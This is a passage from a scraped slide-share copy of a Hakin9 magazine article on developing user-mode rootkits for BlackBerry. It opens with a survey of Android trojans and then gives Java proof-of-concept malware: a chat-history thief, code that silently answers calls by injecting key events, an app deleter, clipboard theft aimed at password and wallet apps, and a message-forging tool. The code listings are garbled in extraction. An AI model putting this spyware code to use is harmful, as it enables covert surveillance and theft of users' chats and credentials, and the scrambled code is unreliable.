AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 

When developers api simplify user mode rootkits development – part ii

  • 1.
  • 2. Mobile Security When developers API simplify user-mode rootkits development This series of articles is about the ease of which user-mode rootkits for BlackBerry can be developed. I n a previous article, several cases were mentioned along with ideas on how a mobile rootkit could easily be built on the application level by exploiting API and privilege escalation vulnerabilities or oversight. Cases covered the top trojans for two years with the first one being Android Plankton. Instead of giving access to hidden levels of this popular game, malware sends information about the device to criminals and downloads other malicious programs. From the Android Market alone, the infected program was downloaded more than 150,000 times and from alternative resources the number of downloads reached 250,000. Android.Plankton does not exploit known vulnerabilities in operating systems to elevate its own privileges. Instead, it downloads its own service in the background immediately after the launch of the infected application and begins to collect information about the device and sends it to a remote server. Another example was the Android malware DroidKungFu. This malware is capable of rooting the vulnerable Android phones and may successfully evade detection by the current mobile anti-virus software. This malware is identified from four Android apps that have been circulated among at least eight alternative Chinese app markets and forums. The malware will add a new service and receiver into the infected app. The receiver will be notified when the system finishes booting so that it can automatically launch the service without user interaction. Geinimi Trojan includes capacities to gain for: • Reading and collecting SMS messages • Sending and deleting selected SMS messages 56 • Pulling all contact information and sending it to a remote server (number, name, the time they were last contacted) • Placing a phone call • Silently downloading files • Launching a web browser with a specific URL Geinimi has three different methods of starting itself. The trojan will first launch itself as its own service. The service allows the trojan to start while the host application appears to functioning normally. Two other ways Geinimi starts revolves around BroadcastReceivers Android events occurring. The trojan will wake itself up from an SMS message. The Geinimi trojan has encrypted the embedded data, payload and all communications – however, encryption is weak. The values in the request for commands can be used by the command and control server to identify information about infected devices. The longitude and latitude can then be used to track the location of this specific user. Also, the trojan gathers a list of applications and their activities on the device, sends an SMS to any recipient, deletes SMSs, lists SMSs to specific contacts, lists contacts and their information, calls any number, silently downloads files and launches a web browser with a specific URL. An SMS trojan called Trojan-SMS.AndroidOS.FakePlayer, once installed, actually sends out SMS messages without the user’s knowledge or consent. Users are prompted to install a small file of around 13KB (have you ever seen such a small media player?). The trojan bundled with it then begins texting premium rate phone numbers. The criminals are actually the ones 04/2012
  • 3. Listing 1. API-routines to design malware “MEDIA PLAYER IO (Input/Output)” import java.io.DataInputStream; import java.io.IOException; import java.io.OutputStream; import javax.microedition.io.Connector; import javax.microedition.io.file.FileConnection; import net.rim.device.api.io.IOUtilities; Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”] public static byte[] readFile(String FullName) ///FullName includes FullPath to file with file name and file extension { //array of data you want to return (read) byte[] data = null; FileConnection fconn = null; DataInputStream is = null; try { fconn = (FileConnection) Connector.open(FullName, Connector.READ); s = fconn.openDataInputStream(); } data = IOUtilities.streamToBytes(is); catch (IOException e) { } finally { try { f (null != is) { } s.close(); if (null != fconn) { } } } } catch (IOException e) fconn.close(); { } return data; public static void writeFile(String FullName, byte[] data) ///FullName includes FullPath to file with file name and file extension // data is array you want to put into file { FileConnection fconn = null; OutputStream os = null; try { fconn = (FileConnection) Connector.open(FullName, Connector.READ_WRITE); if (!fconn.exists()) { www.hakin9.org/en // create file if one doesn’t exist 57
  • 4. Mobile Security Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”] fconn.create(); } os = fconn.openOutputStream(fconn.fileSize()); } os.write(data); catch (Exception e) finally { { Dialog.alert(e.getMessage()); try { } } } os.close(); fconn.close(); catch (IOException e) { Dialog.alert(e.getMessage()); } Listing 3. File’n’Folder TreeWalk (breifly) Vector Path = new Vector(); Path.addElement((String) “file:///SDCard/BlackBerry/im”); Path.addElement((String) “...” - repeat several times Enumeration Path_enum = Path.elements(); while (Path_enum.hasMoreElements()) { } current_path = (String) Path_enum.nextElement(); to do something operating these numbers, so they end up collecting the money via charges to the victims’ accounts. The trojan spyware application known as Zitmo, is designed to steal people’s financial data by listening to all incoming SMS messages and forwarding them to a remote web server. That is a security risk, as some banks now send mTANs via SMS as a one-time password for authentication. By intercepting these passwords, it can not only create fraudulent money transfers, but also verify them. The trojan program “OddJob” does not require fraudsters to log into a user’s online bank account to steal from it. Instead, the malware is designed to hijack a user’s online banking session in real-time by stealing session ID tokens. By stealing the tokens and embedding them into their own browsers, fraudsters can impersonate a legitimate user and access accounts while the user is still active online. The access allows fraudsters to then conduct whatever banking operations the account holder can perform. This approach is different than typical man-in-the browser attacks where attackers use trojans to steal login credentials that are then used to break into online accounts. The second interesting feature in OddJob is its ability to keep an 58 online banking session open and live even after users think they have logged out of their account. This allows criminals to extract money and continue other fraudulent activity even after the user thinks the session has ended. BlackBerry Opportunity Is it really difficult to bring the vulnerabilities to the BlackBerry devices? We are going to see how it is really easy to port these techniques to BlackBerry devices. The first two ideas and proof-of-concepts are about the BlackBerry file-system. As you may know, BlackBerry can encipher the whole file system as well as removed files. Talking about a ciphered file-system, you should understand that this feature makes sense only when all storage cards and memory are removed from devices to extract information, similar to forensic cases. Instead, when you rely on live spying you will get much more information rather trying to decipher it or get the password. First malware concept, the so called media player, based not so much on human bugs as it is on GUI bugs. Unfortunately, humans are not the last point of 04/2012
  • 5. File Paths should be monitored /Device/Home/User/ – if information stored on internal memory /MediaCard/BlackBerry/ – if information stored on external memory ../IM/AIM/USERNAME/history/ – AIMs history in csv format ../IM/BlackBerryMessenger/PIN/history/ – BBMs history in csv format ../IM/GoogleTalk/USERNAME/history/ – GTalks history in csv format ../IM/Yahoo/USERNAME/history/ – YMessengers history in csv format ../IM/WindowsLive/USERNAME/history/ – WLives history in csv format ../pictures – Manully added pic or screenshoted data ../camera – Photo captured data ../videos – Video captured data ../voice notes – Voice captured data defense when we talk about vulnerabilities, trojans, etc. Our behaviour is based on traditions of the past sometimes, as well as tools which used to change with age. In the past, access to files used to be strictly via DOS/Unix system; nowadays we have an aggregation of folders like Music, Photos, Photo-Camera’s folder, or Videos. The GUI was developed as a result of the desire for a convenient way to access files. Taking the discussion to file access on our smart phones, audio notes, photos, videos, music, and camera’s data are stored in one place (more correctly in two places, on internal storage and external storage like SD-card) and applications are allowed to access these folder paths to extract data in real-time; moreover API access to those same folders are easily obtained. Also, they may associate their listeners with a specific file format like .AMR which used to store your BlackBerry audio notes. They are often stored in the “voicenotes” folder, named as VN-20120319-xxxx.AMR. As you can see, you do not need to extract its properties to know when it was recorded; you do not even need to link (programmatically) the folder with type of file (logical level) because “VN” is a voice note. Video files are recorded by the device and named “VID-YYYYMMDDXXXXXX.3GP” as voice note or picture file. Photos are named as IMG20120103-xxxx. To talk about a geo-tag per file, a “Moskva” prefix in added to file name. It is obvious why developers store the name of the file as the city part, date part and increment part. Continuous numbering is allowed in these cases, but why isn’t it developed with the increment part then the hash part at the end of file name (XXXX-hash-dot-extension)? Several file-systems differ in the way files should be sorted, but developers are still able to ask device owners what they prefer. Doing this makes things simple, easier to control and a bit more secure, don’t you agree? Of course, our media player as malware must have a network connection to get updates despite the fact that each BlackBerry device receives update notifications from AppWorld and OS updates should be received via USB-cable by synchronizing with the BlackBerry Desktop Software. Instead, our application may grab news from an official site, update news, offers to share music status and steal and send cached information (Listing 1-Listing 3). Second malware concept covers BlackBerry chats. If you turn on the option to save chat on internal storage (device) or on external storage (SD-Card) you will be notified about how you should ask interlocutor to agree with recording your chat history. By the way, it doesn’t Figure 1. Logged BlackBerry Conversation Figure 2. Window of BlackBerry Conversation www.hakin9.org/en 59
  • 6. Mobile Security Figure 3. Logged Google Conversation Figure 5. Logged WinLive Conversation Figure 4. Window of Google Conversation Figure 6. Window of WinLive Conversation Chat Details Then stores a “history” folder which contatins .CSV files named by account name of interlocutor like yury.chemerkin@gmail. com. Also, conference/group chats folder are placed here: INTERNAL STORAGE: file:///store/home/user/im EXTERNAL STORAGE: file:///SDCard/BlackBerry/im • • • • • All IM chats (from application developed by RIM) files marked to be saved are often located on the same file paths Then stores IM folder per each native IM client IM Folders • • • • • AIM BlackBerry Messenger Google Talk Windows Live Yahoo Then stores folder named as your account such as • • • • • 60 AIM Account: yury.chemerkin@aim.com Google Account: yury.chemerkin@gmail.com Windows Live Account: yury.chemerkin@hotmail.com Yahoo Account: yury.chemerkin BlackBerry Account: 23436780 (BlackBerry PIN) AIM: Conferences Google: Conferences Windows Live: Conferences Yahoo: Conferences BlackBerry: Group Chats BlackBerry chat csv file format Date/Time PIN Sender YYYYMMDDHHMMSSMS HEX VALUE PIN Receiver Data HEX VALUE STRING Non-BlackBerry chat csv file format Date/Time ID Sender ID Receiver Data YYYYMMDDHHMMSSMS STRING STRING STRING 04/2012
  • 7. Figure 7. Logged Yahoo Conversation Figure 9. Logged AIM (AOL) Conversation work for each, instead, it is a global feature; that’s why there’s no sense as you see. By default this feature is turned off. However, if you turn on saving you will be surprised by the fact that your data is stored in clear-text. Don’t think that only Google, Yahoo, or another nonBlackBerry doesn’t encipher them; BlackBerry chats are still not encrypted. Also, Shape IM+ for Linux relies on the root folder only without encryption. Note, that Yahoo Messenger, AIM (AOL) Messenger, Windows Live Messenger, Google Messenger and BlackBerry Messenger are developed by RIM. However, there’s a native security solution: no .CSV format by the device except for special programs. Just copy this file to a PC and open it with Notepad. To see formatted chats, you should open it with Excel or OpenOffice. • The same way to store chats • You need to turn on saving option feature • Notepad or Excel to see them (Figure 1-Figure 10, Listing 4) • File-system ciphering isn’t developed for live spying • Chats stored in clear-text • You can’t read them with device Third malware concept is based on several APIs acting in stealth mode. At first, you have to catch incoming call events, secondly, you have to simulate an answer event by simulating pressing of the answer button and then you should hide the caller screen to get back the home screen by simulating/pressing the escape button. Answer simulating refers to the Keypad. KEY _ SEND; to release pressing you have to press and release button by simulating KeyCodeEvent.KEY _ DOWN and KeyCodeEvent.KEY _ UP. Before you do this, you should understand that at least 1 second should pass when you get an incoming event to draw a native caller to the screen you managed. Then (when accepting an incoming call) you should hide via Keypad. KEY _ ESCAPE , however if you press the escape button you will be asked whether or not to go to the home Figure 8. Window of Conversation Figure 10. Window of AIM (AOL) Conversation Summary www.hakin9.org/en 61
  • 8. Mobile Security Listing 4a. IM Chat Thief package blackberryChatThief; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.Enumeration; import java.util.Vector; import javax.microedition.io.Connector; import javax.microedition.io.file.FileConnection; import net.rim.device.api.io.IOUtilities; import net.rim.device.api.io.file.ExtendedFileConnection; import net.rim.device.api.ui.Field; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.component.Dialog; import net.rim.device.api.ui.container.MainScreen; public class BlackBerryChatThiefScreen extends MainScreen implements FieldChangeListener public BlackBerryChatThiefScreen() { setTitle(“BlackBerry Chat Thief Application”); checkButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); checkButton.setLabel(“Steal your own chat :)”); checkButton.setChangeListener(this); add(checkButton); exitButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); exitButton.setLabel(“Exit”); exitButton.setChangeListener(this); } add(exitButton); public void fieldChanged(Field field, int param) { if (field == checkButton) { String string_result; try { Vector Path = new Vector(); String current_path = new String(); String current_im = new String(); String current_id = new String(); String current_conv = new String(); String root_dir = new String(); 62 04/2012
  • 9. Listing 4b. IM Chat Thief Vector log = new Vector(); FileConnection root_sdcard = null; FileConnection root_store = null; try { } root_sdcard = (FileConnection)Connector.open(“file:///SDCard/”); catch (IOException ex) { } log.addElement((String) “SDCard not found”); try { } root_store = (FileConnection)Connector.open(“file:///store/”); catch (IOException ex) { } log.addElement((String) “store not found”); if ((root_sdcard != null) && root_sdcard.exists()) { } root_dir = “file:///SDCard/”; Path.addElement((String) “file:///SDCard/BlackBerry/im”); else if ((root_store != null) && root_store.exists()) { } root_dir = “file:///store/home/user/”; Path.addElement((String) “file:///store/home/user/im”); Enumeration Path_enum = Path.elements(); FileConnection copyf = (FileConnection)Connector.open(root_dir + “chat.txt”); if (copyf.exists()) { } copyf.delete(); copyf.create(); OutputStream writer = copyf.openOutputStream(); FileConnection logger = (FileConnection)Connector.open(root_dir + “log.txt”); if (logger.exists()) { } logger.delete(); logger.create(); OutputStream logwriter = logger.openOutputStream(); if (!Path_enum.hasMoreElements()) { getBytes()); www.hakin9.org/en logwriter.write((“Directory [“ + Path + “] doesn’t have subdirsrn”). 63
  • 10. Mobile Security Listing 4c. IM Chat Thief } logwriter.flush(); else while (Path_enum.hasMoreElements()) { logwriter.write((“Directory [“ + Path + “] has subdirsrn”).getBytes()); logwriter.flush(); current_path = (String) Path_enum.nextElement(); FileConnection IM_dir = (FileConnection)Connector.open(current_path); if (!IM_dir.exists()) { logwriter.write((“Path [“ + IM_dir.getURL() + “] doesn’t found rn”).getBytes()); logwriter.flush(); } else { logwriter.flush(); logwriter.write((“Path [“ + IM_dir.getURL() + “] foundsrn”).getBytes()); Enumeration IM_list = IM_dir.list(); if (!IM_list.hasMoreElements()) { logwriter.write((“Directory [“ + IM_dir.getURL() + “] doesn’t have subdirsrn”).getBytes()); } logwriter.flush(); else while (IM_list.hasMoreElements()) { rn”).getBytes()); logwriter.write((“Directory [“ + IM_dir.getURL() + “] has subdirs logwriter.flush(); current_path = IM_dir.getURL() + (String) IM_list.nextElement(); FileConnection ID = (FileConnection)Connector.open(current_path); if (!ID.exists()) { getBytes()); } logwriter.write((“Path [“ + ID.getURL() + “] doesn’t foundrn”). logwriter.flush(); else { getBytes()); logwriter.write((“Path [“ + ID.getURL() + “] foundsrn”). logwriter.flush(); current_im = “CURRENT IM TYPE :: “ + ID.getName().substring(0, ID.getName().length() - 1) + “rn”; 64 04/2012
  • 11. Listing 4d. IM Chat Thief //current_im = “rn--------IM SEPARATOR------rn” + current_im; Enumeration ID_list = ID.list(); if (!ID_list.hasMoreElements()) { subdirsrn”).getBytes()); } logwriter.write((“Directory [“ + ID.getURL() + “] doesn’t have logwriter.flush(); else while (ID_list.hasMoreElements()) ////if (ID_list.hasMoreElements()) { rn”).getBytes()); logwriter.write((“Directory [“ + ID.getURL() + “] has subdirs logwriter.flush(); current_path = ID.getURL() + (String) ID_list.nextElement() + “history”; FileConnection history_dir = (FileConnection)Connector. open(current_path); if (!history_dir.exists()) { doesn’t existrn”).getBytes()); } logwriter.write((“Directory [“ + history_dir.getURL() + “] logwriter.flush(); else { - (“/history”).length()); current_id = current_path.substring(0, current_path.length() current_id = current_id.substring(ID.getURL().length(), current_id.length());// - ID.getURL().length()); //current_id = “rn--------ID SEPARATOR------rn” + current_id; current_id = “CURRENT ID :: “ + current_id + “rn”; Enumeration chats = history_dir.list(); if (!chats.hasMoreElements()) { logwriter.write((“Directory [“ + history_dir.getURL() + “] doesn’t have subdirsrn”).getBytes()); logwriter.flush(); } else { “] has subdirsrn”).getBytes()); logwriter.write((“Directory [“ + history_dir.getURL() + logwriter.flush(); while (chats.hasMoreElements()) { www.hakin9.org/en 65
  • 12. Mobile Security Listing 4e. IM Chat Thief current_path = history_dir.getURL() + (String) chats.nextElement(); ExtendedFileConnection chat_file = (ExtendedFileConnection)Connector.open(current_path); if (!chat_file.isDirectory() & !chat_file.getName(). endsWith(“rem”)) { current_conv = chat_file.getName(); //current_conv = “rn--------CHAT SEPARATOR---- --rn” + current_conv; current_conv = “CURRENT CHAT :: “ + current_conv + “rnCHAT :: rn”; byte[] array = new byte[(int) chat_file. fileSize()]; InputStream raw_reader = chat_file. openInputStream(); array = IOUtilities.streamToBytes(raw_reader); raw_reader.close(); logwriter.write((“CSV [“ + chat_file.getURL() + “] has readrn”).getBytes()); logwriter.flush(); writer.write(current_im.getBytes()); writer.write(current_id.getBytes()); writer.write(current_conv.getBytes()); writer.write(array); writer.write((“rn--------separator------ rn”).getBytes()); logwriter.write((“CSV [“ + chat_file.getURL() + “] has writtenrn”).getBytes()); } } } } } } } } logwriter.flush(); } logwriter.write((“DONErn”).getBytes()); logwriter.flush(); string_result = “DONE”; writer.flush(); writer.close(); logwriter.flush(); logwriter.close(); copyf.close(); 66 04/2012
  • 13. Listing 4f. IM Chat Thief } catch (Exception ex) { } } string_result = ex.toString() + “||” + ex.getMessage(); Dialog.alert(string_result); else if (field == exitButton) { } } System.exit(0); } Figure 11. Before Call Figure 13. Answering screen. Therefore malware has to simulate an agreement via Keypad.KEY _ ENTER to successfully bypass the user eyes. Where it is all at, no one has another API to make your own caller screen and manage the in- coming calls. To extend impacting to simulate physical input, you can read my 2nd article (Hakin9, Is Data Secure On The Password Protected Blackberry Device). However, it is easy to put a symbol in the Figure 12. Incoming Call Figure 14. Escaping to the Home Screen www.hakin9.org/en 67
  • 14. Mobile Security Listing 5a. Caller Malware package blackBerryPhoneEmulation; import net.rim.blackberry.api.phone.Phone; import net.rim.blackberry.api.phone.PhoneCall; import net.rim.blackberry.api.phone.PhoneListener; import net.rim.device.api.system.EventInjector; import net.rim.device.api.system.EventInjector.KeyCodeEvent; import net.rim.device.api.ui.UiApplication; public class BlackBerryPhoneEmulationApp extends UiApplication implements PhoneListener { int sleep_time = 1000; public static void main(String[] args) { } BlackBerryPhoneEmulationApp theApp = new BlackBerryPhoneEmulationApp(); theApp.enterEventDispatcher(); public BlackBerryPhoneEmulationApp() { } pushScreen(new BlackBerryPhoneEmulationScreen()); Phone.addPhoneListener(this); public void close() { } Phone.removePhoneListener(this); System.exit(0); public void callIncoming(int callId) { final PhoneCall call = Phone.getCall(callId); final String number = call.getDisplayPhoneNumber(); EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_ DOWN, (char) Keypad.KEY_SEND, 0); EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent. KEY_UP, (char) Keypad.KEY_SEND, 0); try { } Thread.sleep(sleep_time); catch (InterruptedException e) {} EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); } 68 04/2012
  • 15. Listing 5b. Caller Malware public void callAdded(int callId) {} public void callAnswered(int callId) {} public void callConferenceCallEstablished(int callId) {} public void callConnected(int callId) { EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ESCAPE, 0); EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ESCAPE, 0); try { } Thread.sleep(sleep_time); // Waiting a caller screen have been drawn catch (InterruptedException e) {} } EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); ///Releasing Escaping to the Home Screen pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ENTER, 0); eleaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ENTER, 0); try { } Thread.sleep(sleep_time); //Waiting prompt screen have been drawn catch (InterruptedException e) {} EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); } ///Accepting Escaping to the Home Screen public void callDirectConnectConnected(int callId) {} public void callDirectConnectDisconnected(int callId) {} public void callDisconnected(int callId) {} public void callEndedByUser(int callId) {} public void callFailed(int callId, int reason) {} public void callHeld(int callId) {} public void callInitiated(int callid) {} public void callRemoved(int callId) {} public void callResumed(int callId) {} public void callWaiting(int callid) {} } public void conferenceCallDisconnected(int callId) {} www.hakin9.org/en 69
  • 16. Mobile Security Figure 15. App list with Victim app Figure 16. Details of Victim Apps text field, while putting a string by one symbol and track-wheel moving is too difficult although it may be enough to input passwords (Figure 11-Figure 14, Listing 5). Figure 17. App List with deleted victim app 70 Figure 18. Details of deleted victim app Fourth malware concept is about destructive interaction. What is a common thesis when someone talks about security? A security component must not be deleted because it brings down a security wall. Why doesn’t malware delete all applications and modules installed on your device? Some applications consist of several modules and one removed crash down after the first successful reboot. Another attack vector, BlackBerry Enterprise Server offers application controlling by resending modules to selected devices regarding IT Policy. If a malware application turns off wireless to crash the device then no one policy saves the device. When you install an application you are asked to choose permissions that you grant to this application. As you know from my articles about screenshot catching, the device sometimes should ask what windows are allowed to interact with screenshot and which aren’t allowed. This case is the same and all you need to delete other applications is a name and permission to interact with Application Manager. How do you extract data about applications? The easiest way to interrupt user flows is to grab active applications at current time via ApplicationManager. getApplicationManager().getVisibleApplications();. When the application list has got malware grabs LocalizedName and ModuleHandle to find them in Application Manager lists and deletes by using: ModuleHandle. That’s all (Figure 15-Figure 18, Listing 6). Fifth malware concept manages with Clipboard. From previous zsndroid malware cases I retell in the beginning you learn password may extract from SMS or GET/ POST requests. My case refers to Password Keeper and BlackBerry Wallet, which are both developed by RIM; also, it is native and pre-installed by default. The first application is designed to keep passwords more than the second, which is designed to keep not only passwords but also banking data. Extract essential information stored in BlackBerry backups. Elcomsoft BlackBerry Backup Explorer allows forensic specialists 04/2012
  • 17. Listing 6a. Code Example how find application among set of applications already running and how delete application package blackBerryDeleterpackage; import net.rim.device.api.system.ApplicationDescriptor; import net.rim.device.api.system.ApplicationManager; import net.rim.device.api.system.CodeModuleManager; import net.rim.device.api.ui.Field; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.container.MainScreen; public final class BlackBerryDeleterScreen extends MainScreen implements FieldChangeListener { ButtonField bt_find = null; ButtonField bt_delete = null; TextField tf2 = null; String stf2 = “”; public BlackBerryDeleterScreen() { // Set the displayed title of the screen setTitle(“BlackBerryDeleterTitle”); bt_find = new ButtonField(); bt_delete = new ButtonField(); tf2 = new TextField(); bt_find.setLabel(“FIND APP”); bt_delete.setLabel(“DEL APP”); bt_find.setChangeListener(this); bt_delete.setChangeListener(this); tf2.setLabel(“INFOrn”); add(tf2); add(bt_find); } add(bt_delete); public void fieldChanged(Field field, int context) { if (field == bt_find) //BUTTON “FIND APPLICATION” { { try int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle(); ApplicationDescriptor desc = null; ApplicationDescriptor[] descs = null; try { descs = ApplicationManager.getApplicationManager(). getVisibleApplications(); www.hakin9.org/en 71
  • 18. Mobile Security Listing 6b. Code Example how find application among set of applications already running and how delete application int handle = 0; stf2 += “length = “ + descs.length + “rn”; for (int i = 0; i < descs.length; i++) { stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “rn”; stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “rn”; if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0) { handle = descs[i].getModuleHandle(); } stf2 += descs[i].getModuleName() + “rn”; else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0) { } } handle = descs[i].getModuleHandle(); stf2 += descs[i].getLocalizedName() + “rn”; try { if (handle > 0) { } stf2 += “app found” + “rn”; else { } } stf2 += “handle null” + “rn”; catch (Exception e) { } stf2 += e.getMessage() + “rn”; } catch (Exception e) { } } stf2 += e.getMessage() + “rn”; catch (Exception e) { } stf2 += e.getMessage(); tf2.setText(stf2); } else if (field == bt_delete) //BUTTON DELETE APPLICATION { { try int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle(); ApplicationDescriptor desc = null; 72 04/2012
  • 19. Listing 6c. Code Example how find application among set of applications already running and how delete application ApplicationDescriptor[] descs = null; try { descs = ApplicationManager.getApplicationManager().getVisibleApplications(); int handle = 0; stf2 += “length = “ + descs.length + “rn”; for (int i = 0; i < descs.length; i++) { stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “rn”; stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “rn”; if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0) { } handle = descs[i].getModuleHandle(); stf2 += descs[i].getModuleName() + “rn”; else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0) { } } handle = descs[i].getModuleHandle(); stf2 += descs[i].getLocalizedName() + “rn”; try { if (handle > 0) { } CodeModuleManager.deleteModuleEx(handle, true); stf2 += “true delete” + “rn”; else { } } stf2 += “handle null” + “rn”; catch (Exception e) { } stf2 += e.getMessage() + “rn”; } catch (Exception e) { } } stf2 += e.getMessage() + “rn”; catch (Exception e) { } stf2 += e.getMessage(); tf2.setText(stf2); } } www.hakin9.org/en } 73
  • 20. Mobile Security Listing 7. Clipboard exploitation (How extract data to steal data, and how to put data to mislead someone) import net.rim.device.api.ui.component.TextField; import net.rim.device.api.ui.container.MainScreen; import net.rim.device.api.system.Clipboard; public final class BlackBerryClipboardScreen extends MainScreen { public BlackBerryClipboardScreen() { setTitle(“BlackBerryClipboardTitle”); Clipboard clipb = Clipboard.getClipboard(); Figure 19. BB Wallet. Creating & Stealing TextField tf1 = new TextField(); investigating the content of BlackBerry devices by extracting, analyzing, printing or exporting the content of a BlackBerry backup produced with BlackBerry Desktop Software. But Elcomsoft manages to work with exported data that you back up. RIM made a “good” security solution to restrict any access attempts to the clipboard while their applications are active. If you try to grab data you’ll get the error message “Unauthorized attempt to attach to this application.” Don’t panic, because when a user minimizes it or closes it, a successful data extraction happens. If you want to know whether BlackBerry Wallet (or Password Keeper) is running now, use the code example on how to find application (Figure 19-Figure 20, Listing 7). Screenshotting has been discussed many times, therefore I highlight that “this feature” can easily bypass security flows when the user restricts other permissions. For example, if user restricts a GEO permission you listen to active applications for catching screen shot of a map that the user is seeing at current time. When the map application starts it often shows add(tf1); TextField tf2 = new TextField(); add(tf2); TextField tf3 = new TextField(); add(tf3); tf1.setLabel(“to_string : < “ + clipb. toString() + “ >”); // SHOW CLIPBOARD AS STRING OBJECT String str = “”; try { } str = (String)clipb.get(); // GET CLIPBOARD DATA catch (Exception e) { } try { } clipb.put(“PUT”); // CLIPBOARD SET BY WORD “PUT” catch (Exception e) { } tf2.setLabel(“getted : < “ + str + “ >”); try { } // SHOW THAT CLIPBOARD DATA HAS BEEN STOLEN str = (String)clipb.get(); // GET NEW CLIPBOARD DATA catch (Exception e) { } tf3.setLabel(“getted : < “ + str + “ >”); // SHOW THAT CLIPBOARD SET BY WORD “PUT” Figure 20. BB Wallet. Showing & Stealing 74 } } 04/2012
  • 21. Listing 8a. MESSAGE MISLEADING package blackBerryMessageMisleading; import java.io.DataInputStream; CONSUME_CLICK | ButtonField.FIELD_ HCENTER); checkiButton.setLabel(“Inbox Misleading”); checkiButton.setChangeListener(this); add(checkiButton); import java.io.IOException; import java.util.Date; checkiaButton = new ButtonField(ButtonField. CONSUME_CLICK | ButtonField.FIELD_ import javax.microedition.io.Connector; HCENTER); import javax.microedition.io.file.FileConnection; checkiaButton.setLabel(“Inbox Attach import net.rim.blackberry.api.mail.Address; checkiaButton.setChangeListener(this); Misleading”); import net.rim.blackberry.api.mail.AddressException; add(checkiaButton); import net.rim.blackberry.api.mail.Folder; import net.rim.blackberry.api.mail.Message; checkoButton = new ButtonField(ButtonField. import net.rim.blackberry.api.mail.MessagingException; CONSUME_CLICK | ButtonField.FIELD_ import net.rim.blackberry.api.mail.Multipart; HCENTER); import net.rim.blackberry.api.mail. checkoButton.setLabel(“Outbox Misleading”); import net.rim.blackberry.api.mail.PINAddress; add(checkoButton); checkoButton.setChangeListener(this); NoSuchServiceException; import net.rim.blackberry.api.mail.Session; import net.rim.blackberry.api.mail.Store; checkpoButton = new ButtonField(ButtonField. import net.rim.blackberry.api.mail. CONSUME_CLICK | ButtonField.FIELD_ HCENTER); SupportedAttachmentPart; import net.rim.device.api.io.IOUtilities; checkpoButton.setLabel(“OutBox PIN MISLEAD”); import net.rim.device.api.ui.Field; add(checkpoButton); import net.rim.device.api.io.MIMETypeAssociations; checkpoButton.setChangeListener(this); import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; checkpiButton = new ButtonField(ButtonField. import net.rim.device.api.ui.component.Dialog; CONSUME_CLICK | ButtonField.FIELD_ import net.rim.device.api.ui.component.TextField; HCENTER); import net.rim.device.api.ui.container.MainScreen; checkpiButton.setLabel(“InBox PIN MISLEAD”); public final class BlackBerryMessageMisleadingScreen add(checkpiButton); checkpiButton.setChangeListener(this); extends MainScreen implements { tf = new TextField(); FieldChangeListener 